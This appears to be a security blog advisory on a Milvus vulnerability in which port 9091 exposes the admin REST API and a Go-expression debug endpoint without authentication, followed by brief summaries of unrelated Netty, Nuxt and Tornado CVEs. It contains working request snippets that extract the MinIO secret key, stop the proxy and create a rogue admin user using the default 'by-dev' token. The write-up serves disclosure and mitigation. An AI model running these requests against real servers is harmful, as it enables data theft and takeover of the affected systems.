Feb 11, 2026·6 min read·16 visits
Milvus exposes its administrative REST API and a debug console on port 9091 by default. Due to missing middleware, requests to this port bypass all authentication. Attackers can create admin users, dump credentials, or execute arbitrary code using the default `by-dev` token.
In the gold rush of the AI revolution, vector databases like Milvus have become the vaults where companies store their most precious semantic data. But while everyone was worried about prompt injection or model poisoning, Milvus accidentally left the back door wide open. A critical vulnerability in the metrics and management interface (port 9091) exposes the entire administrative REST API without authentication. Worse, a debug endpoint allows arbitrary Go expression evaluation with a hardcoded default token. This isn't just a data leak; it's a full system compromise waiting to happen.
We live in the age of RAG (Retrieval-Augmented Generation). Companies are dumping gigabytes of proprietary documents, customer chats, and trade secrets into vector databases like Milvus to make their LLMs smarter. Milvus is complex software; it has coordinators, proxies, data nodes, and query nodes. To manage this beast, it exposes various ports.
The main entrance, port 19530, handles the high-speed gRPC traffic for vector insertion and searching. This door is usually heavily guarded with authentication, TLS, and API gateways. But software needs to be observed. DevOps teams love metrics. So, Milvus provides a dedicated HTTP server for metrics and health checks on port 9091.
In theory, port 9091 should just reply with some harmless Prometheus-formatted stats. In practice, due to a copy-paste catastrophe in the initialization logic, port 9091 became a fully functional, unauthenticated administrative console. It’s the equivalent of a bank vault having a thermal exhaust port that leads directly to the main reactor—and the door is propped open with a brick.
The root cause of this vulnerability is a classic case of "Middleware Amnesia." In modern web frameworks like Gin (which Milvus uses), you define routes and then apply middleware to them. Middleware handles things like logging, rate limiting, and—crucially—authentication. If you forget to apply the middleware, the routes still work, they just stop checking ID at the door.
Inside internal/distributed/proxy/service.go, the Milvus developers set up the HTTP server. They correctly initialized the main API group. However, when setting up the metrics server (which runs on a separate port), they decided to register the same business logic handlers to it.
Why? Likely for convenience, so administrators could hit the REST API on the management port if needed. The fatal flaw was that while they copied the routes, they forgot to copy the apiv1.Use(httpserver.RequestHandlerFunc) line (or its equivalent auth check) to the metrics server context. This means GET /api/v1/collection on port 19530 asks for a password, but the exact same request on port 9091 rolls out the red carpet.
Let's look at the smoking gun in internal/distributed/proxy/service.go. This is where the Proxy service spins up its HTTP listeners.
// registerHTTPServer register the http server
func (s *Server) registerHTTPServer() {
// ... setup code ...
metricsGinHandler := gin.Default()
// 1. Create the API group on the METRICS handler
apiv1 := metricsGinHandler.Group(apiPathPrefix)
// 2. Register the business logic handlers
handlers := httpserver.NewHandlers(s.proxy)
handlers.RegisterRoutesTo(apiv1)
// 3. Register the Proxy REST router
if p, ok := s.proxy.(*proxy.Proxy); ok {
p.RegisterRestRouter(apiv1)
}
// 4. Bind this handler to the metrics server
mhttp.Register(&mhttp.Handler{
Path: mhttp.RootPath,
Handler: metricsGinHandler.Handler(),
})
}Notice what is missing? There is no authentication middleware attached to apiv1. In the standard HTTP server initialization function (not shown here, but present in the codebase), there is explicit logic that checks Params.ProxyCfg.AuthorizationEnabled and enforces token validation. Here, on the metrics path, the code simply mounts the full RegisterRoutesTo(apiv1) router directly to the open web.
If the unauthenticated API wasn't bad enough, Milvus includes a debug endpoint located at /expr. This endpoint allows the caller to evaluate arbitrary internal Go expressions. Yes, you read that right. It's essentially a web-based eval() for the running Go process.
Access to this endpoint is theoretically restricted by an auth parameter. However, the default value for this check is derived from etcd.rootPath. In almost every default installation, and in the Docker Compose examples provided by Milvus, this value is set to by-dev.
So, we have an unauthenticated Remote Code Execution (or at least Remote Configuration Execution) primitive. Here is how an attacker creates a "Kill Chain":
/expr to read the global configuration memory. They can extract the MinIO SecretAccessKey (used for S3 storage) and the root user's password hash.requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
})requests.get("http://target:9091/expr", params={
"auth": "by-dev",
"code": "proxy.Stop()"
})requests.post("http://target:9091/api/v1/credential", json={
"username": "apt_group",
"password": "base64_encoded_payload"
})The impact here is catastrophic for any organization running Milvus exposed to the internet or an untrusted internal network. Because Milvus is a vector database, it holds the meaning of your data.
Data Theft: An attacker can simply list all collections and query the vectors. If they have the MinIO keys (which they can get via /expr), they can bypass Milvus entirely and download the raw data segments from your object storage bucket.
Data Poisoning: In a RAG context, poisoning the vector store is a subtle and dangerous attack. An attacker could insert vectors that are semantically close to common queries but contain malicious or incorrect data. This forces the downstream LLM to hallucinate or provide harmful responses to users.
Infrastructure Compromise: The /expr endpoint can theoretically be used to modify file paths for logging. If an attacker can trick the server into writing logs to a script file (e.g., a web shell or a cron job location), they can achieve full OS-level Remote Code Execution.
If you are running Milvus versions prior to 2.5.27 or 2.6.10, you are vulnerable. The patch applied by the maintainers simply removes the registration of the API router and the debug endpoint from the metrics port.
Immediate Steps:
etcd.rootPath in your configuration from by-dev to a random high-entropy string. This acts as the password for the /expr endpoint if it is ever accidentally exposed again.> [!NOTE] > Many Kubernetes deployments expose the metrics port via a Service for monitoring. Ensure your Ingress controller does NOT route external traffic to port 9091.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Milvus LF AI & Data | < 2.5.27 | 2.5.27 |
Milvus LF AI & Data | >= 2.6.0, < 2.6.10 | 2.6.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication for Critical Function) |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (Port 9091) |
| Secondary Weakness | CWE-1188 (Insecure Default Initialization of Resource) |
| Exploit Status | PoC Available / High Reliability |
| Default Token | auth=by-dev |
The software does not perform any authentication for functionality that requires a provable user identity.
A reflected DOM-based Cross-Site Scripting (XSS) vulnerability was identified in Nuxt's core <NuxtLink> component. Prior to the patched versions, the component failed to validate or sanitize the target URI schemes before directly rendering them into the 'href' attribute of native HTML anchor elements. An attacker who controls the input bound to the 'to' or 'href' properties can inject executable URI schemes, such as 'javascript:' or 'data:', leading to arbitrary script execution in the context of the user's browser session.
A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.
CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.
CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.
A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.
An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.